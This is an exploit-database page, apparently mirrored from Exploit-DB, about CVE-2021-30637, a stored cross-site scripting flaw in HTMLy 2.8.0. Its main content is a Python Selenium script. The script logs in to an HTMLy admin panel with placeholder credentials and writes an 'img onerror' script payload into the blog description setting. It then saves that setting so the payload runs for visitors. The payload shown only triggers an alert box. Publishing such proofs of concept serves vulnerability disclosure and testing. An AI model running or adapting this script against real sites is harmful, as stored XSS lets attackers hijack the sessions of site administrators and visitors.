Lucene search
K

htmly 2.8.0 - 'description' Stored Cross-Site Scripting (XSS)

🗓️ 15 Apr 2021 00:00:00Reported by nu11secur1tyType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 259 Views

htmly 2.8.0 'description' Stored Cross-Site Scripting (XSS

Related
Code
ReporterTitlePublishedViews
Family
0day.today
htmly 2.8.0 Cross Site Scripting Exploit
15 Apr 202100:00
zdt
Circl
CVE-2021-30637
14 Nov 202406:08
circl
CNNVD
HTMLy 跨站脚本漏洞
13 Apr 202100:00
cnnvd
CVE
CVE-2021-30637
13 Apr 202104:58
cve
Cvelist
CVE-2021-30637
13 Apr 202104:58
cvelist
EUVD
EUVD-2021-17557
7 Oct 202500:30
euvd
NVD
CVE-2021-30637
13 Apr 202105:15
nvd
Packet Storm
htmly 2.8.0 Cross Site Scripting
15 Apr 202100:00
packetstorm
Prion
Cross site scripting
13 Apr 202105:15
prion
RedhatCVE
CVE-2021-30637
22 May 202518:31
redhatcve
Rows per page
# Exploit Title: htmly 2.8.0 - 'description' Stored Cross-Site Scripting (XSS)
# Authors: @nu11secur1ty & G.Dzhankushev
# Date: 04.15.2021
# Vendor Homepage: https://www.htmly.com/
# Software Link: https://github.com/danpros/htmly
# CVE: CVE-2021-30637

#!/usr/bin/python3

from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
import time


#enter the link to the website you want to automate login.
website_link="http://localhost/htmly/login"

#enter your login username
username="nu11secur1ty"

#enter your login password
password="password"

#enter the element for username input field
element_for_username="user"
#enter the element for password input field
element_for_password="password"
#enter the element for submit button
element_for_submit="submit"


#browser = webdriver.Safari()	#for macOS users[for others use chrome vis chromedriver]
browser = webdriver.Chrome()	#uncomment this line,for chrome users
#browser = webdriver.Firefox()	#uncomment this line,for chrome users

browser.get((website_link))	

try:
	username_element = browser.find_element_by_name(element_for_username)
	username_element.send_keys(username)		
	password_element  = browser.find_element_by_name(element_for_password)
	password_element.send_keys(password)
	signInButton = browser.find_element_by_name(element_for_submit)
	signInButton.click()
	
	# Exploit .ini
	browser.get(("http://localhost/htmly/admin/config"))	
	browser.execute_script("document.querySelector('[name=\"-config-blog.description\"]').innerText = '</span><img src=1 onerror=alert(1) /><span>'") 
	time.sleep(3)
	browser.execute_script("document.querySelector('.btn.btn-primary').click()")

	print("payload is deployed...\n")
	
except Exception:
	#### This exception occurs if the element are not found in the webpage.
	print("Some error occured :(")

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

15 Apr 2021 00:00Current
5.7Medium risk
Vulners AI Score5.7
CVSS 23.5
CVSS 3.15.4
EPSS0.00148
259